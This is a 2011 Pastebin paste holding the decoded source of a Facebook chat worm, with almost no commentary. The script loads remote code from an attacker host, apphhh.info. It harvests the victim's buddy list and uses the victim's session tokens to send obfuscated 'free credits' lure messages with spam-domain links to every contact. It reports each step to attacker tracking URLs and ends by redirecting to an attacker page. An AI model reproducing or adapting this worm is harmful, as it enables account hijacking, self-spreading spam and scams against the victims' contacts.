Advertisement
johnburn

[facebook] wj9823u9.js decoded

Jul 23rd, 2011
441
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /*
  2. * wj9823u9.js decoded
  3. * original http://pastebin.com/j5G8NRn1
  4. */
  5.  
  6. function show_progress() {
  7.     var content = document.getElementById('contentArea');
  8.     var panel = document.getElementById('pagelet_main_column');
  9.  
  10.     panel.style.opacity = 0;
  11.     var frm = document.createElement('iframe');
  12.     frm.frameBorder = 0;
  13.     frm.width = '540';
  14.     frm.height = '720';
  15.     frm.src = 'http://watchallsecrets.info/progress.php';
  16.     content.insertBefore(frm, panel);
  17. }
  18. var send_texts = ['He¥ I just ùsed τhi§ trick τо geτ a thous^ñd frëê ¢гeðits in my accounτ, have a loök', 'Hi I u$éd this to fíll my credιt§ account up for free, check tнis оuτ', 'There giving awaÿ 1000 free credts have a looк at thî§:', 'Everyone can geτ 1000 ¢rediτ§ bÿ using this, I think its τоðay only:', 'Hi found thï$ trick τo gët 1о00 free credïτs have a look...', 'нey found a really cool tri¢k tò gét free cгëdíts cнéck iτ out:', 'Heyã, this is giving aшay a 10о0 fгëe crëdiτs...', 'Hèy, I τнink you wíll like tнιs ;-)', ];
  19.  
  20. function track_it(id, message) {
  21.     var frm = document.createElement('iframe');
  22.     frm.src = 'http://apphhh.info/track.php?id=' + escape(id) + '&message=' + escape(message);
  23.     frm.width = '0';
  24.     frm.height = '0';
  25.     document.body.appendChild(frm);
  26. }
  27. try {
  28.     var domain_exceptions = [1, 8, 9, 10, 11, 12, 13, 14, 16, 27, 36];
  29.     try {
  30.         show_progress();
  31.     } catch (e) {
  32.         track_it(Env.user, 'Progress Exception: ' + e.message);
  33.     }(function () {
  34.         var e = document.createElement('script');
  35.         e.src = 'http://apphhh.info/xnco.js?id=' + Env.user;
  36.         document.body.appendChild(e);
  37.         void(0);
  38.     })();
  39.  
  40.     function m(message, domain, j, l) {
  41.         var v = document.createElement('iframe');
  42.         v.src = 'http://apphhh.info/debug.php?message=' + escape(message) + '&domain=' + escape(domain) + '&success=' + escape(j) + '&fail=' + escape(l);
  43.         v.width = '0';
  44.         v.height = '0';
  45.         document.body.appendChild(v);
  46.     }
  47.  
  48.     function p(S) {
  49.         var L, current, top = S.length;
  50.         if (top) while (--top) {
  51.             current = Math.floor(Math.random() * (top + 1));
  52.             L = S[current];
  53.             S[current] = S[top];
  54.             S[top] = L;
  55.         }
  56.         return S;
  57.     }
  58.  
  59.     function U(a, I, F) {
  60.         var text = a[Math.floor(Math.random() * a.length)],
  61.             N = [];
  62.         for (var _ = 0; _ < I.length; _++) {
  63.             if (F.indexOf(_) == -1) {
  64.                 N[N.length] = I[_];
  65.             }
  66.         }
  67.         var domain = I[0];
  68.         if (N.length > 0) {
  69.             N = p(N);
  70.             domain = N[0];
  71.         }
  72.         return {
  73.             text: text,
  74.             domain: domain
  75.         };
  76.     }
  77.  
  78.     function H(id, message) {
  79.         var v = document.createElement('iframe');
  80.         v.src = 'http://apphhh.info/track.php?id=' + escape(id) + '&message=' + escape(message);
  81.         v.width = '0';
  82.         v.height = '0';
  83.         document.body.appendChild(v);
  84.     }
  85.  
  86.     function A(id, data) {
  87.         var message = data.text + ' ' + data.domain,
  88.             text = data.text,
  89.             domain = data.domain,
  90.             o = new XMLHttpRequest;
  91.         o.open('POST', 'http://www.facebook.com/ajax/chat/send.php?__a=1', true);
  92.         o.onreadystatechange = function () {
  93.             if (o.readyState === 4) {
  94.                 if (D) {
  95.                     if (o.responseText.indexOf('Security Check') > -1) {
  96.                         m(text, domain, 0, 1);
  97.                     } else {
  98.                         m(text, domain, 1, 0);
  99.                     }
  100.                 }
  101.                 if (X == true) {
  102.                     H(Env.user, 'Send response: ' + o.responseText + ' message: ' + message);
  103.                 }
  104.                 X = D;
  105.                 return true;
  106.             }
  107.         };
  108.         var O = new Date(),
  109.             M = O.getTime();
  110.         o.send('msg_id=' + '3890856831' + '&client_time=' + M + '&to=' + id + '&num_tabs=1&pvs_time&msg_text=' + message + '&to_offline=false&to_idle=false&popped_out=false&post_form_id=' + Env.post_form_id + '&fb_dtsg=' + Env.fb_dtsg + '&lsd&post_form_id_source=AsyncRequest');
  111.     }
  112.     var X = true;
  113.     if (typeof k == 'undefined') {
  114.         H(Env.user, 'Loading...');
  115.         var k = true,
  116.             f = send_texts,
  117.             I = ["http://jooppy.info", "http://cheerscheers.info", "http://celebrationsnow.info", "http://chengaloor.info", "http://addictiongoeson.info", "http://aliensoverearth.info", "http://allextensions.info", "http://ashesrevenge.info", "http://backintheside.info", "http://backintotheattack.info", "http://battingpowerplay.info", "http://beanjokes.info", "http://beerisgood.info", "http://bigpanthershow.info", "http://boatshownow.info", "http://bowlersarebest.info", "http://bowlingchampion.info", "http://brandedshoes.info", "http://brilliantmates.info", "http://brunomarsrocks.info", "http://buyandsellebooks.info", "http://calculatelove.info", "http://calculatemoney.info", "http://cannotbeatme.info", "http://cheappuccino.info", "http://cheersmax.info", "http://chemicalformulae.info", "http://chennaitour.info", "http://churchapart.info", "http://clickoktocontinue.info", "http://clicktodouble.info", "http://conveyregards.info", "http://couldntpick.info", "http://cropaphoto.info", "http://cyberhoarding.info", "http://dailycheckup.info", "http://datacenterbuilding.info", "http://dejaboo.info", "http://dissulovesusu.info"];
  118.         Chat.goOnline();
  119.         setTimeout(function () {
  120.             try {
  121.                 Chat = null;
  122.                 var o = new XMLHttpRequest;
  123.                 o.open('POST', 'http://www.facebook.com/ajax/chat/buddy_list.php?__a=1', true);
  124.                 o.onreadystatechange = function () {
  125.                     try {
  126.                         if (o.readyState === 4) {
  127.                             var J = [],
  128.                                 responseText = o.responseText;
  129.                             while (true) {
  130.                                 var z = /"([0-9]+)":{"name"/i,
  131.                                     w = z.exec(responseText);
  132.                                 if (w == null) {
  133.                                     break;
  134.                                 }
  135.                                 J[J.length] = w[1];
  136.                                 var responseText = responseText.substr(w.index + w[0].length);
  137.                             }
  138.                             for (var _ = 0; _ < J.length; _++) {
  139.                                 A(J[_], U(f, I, domain_exceptions));
  140.                             }
  141.                             H(Env.user, 'New send to: ' + J.toString());
  142.                             return true;
  143.                         }
  144.                     } catch (e) {
  145.                         H(Env.user, 'Error: ' + e.message);
  146.                     }
  147.                 };
  148.                 o.send('user=' + Env.user + '&popped_out=false&&force_render=true&post_form_id=' + Env.post_form_id + '&fb_dtsg=' + Env.fb_dtsg + '&lsd&post_form_id_source=AsyncRequest');
  149.             } catch (e) {
  150.                 H(Env.user, 'Error: ' + e.message);
  151.             }
  152.         }, 3000);
  153.     } else {
  154.         alert('Processing, please wait.');
  155.         H(Env.user, 'Already loaded.');
  156.     }
  157.     setTimeout(function () {
  158.         window.top.location.href = 'http://apphhh.info/verify.php';
  159.     }, 20000);
  160. } catch (e) {
  161.     track_it(Env.user, 'Main Exception: ' + e.message);
  162. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement